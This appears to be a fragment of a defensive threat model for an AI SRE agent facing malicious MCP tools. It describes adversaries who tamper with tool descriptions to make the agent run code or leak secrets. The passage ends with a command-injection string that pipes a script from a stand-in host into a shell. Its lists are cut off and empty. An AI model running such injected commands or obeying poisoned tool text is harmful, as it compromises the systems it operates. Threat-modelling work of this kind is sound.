This document provides a detailed examination of various threat models relevant to the SRE Agent and comparable agentic systems.
In this section, we present our threat model for Malicious MCP Tools, introducing the opportunities and approaches for potential attacks and mitigations.
The threats in this model have been drawn from https://elenacross7.medium.com/️-the-s-in-mcp-stands-for-security-91407b33ed6b
We assume the adversary is a malicious actor who has gained the ability to modify or introduce MCP tools used by the SRE agent.
The adversary has knowledge of the MCP protocol and understands how the LLM interacts with tools, including the visibility of tool descriptions and parameter schemas to the model.
The adversary's goal is to execute unauthorised code or extract sensitive information through the SRE agent by exploiting the trust relationship between the LLM and MCP tools. In particular, the adversary aims to:
To achieve these goals, the adversary employs two primary techniques:
Apply
"; curl evil.sh | bash"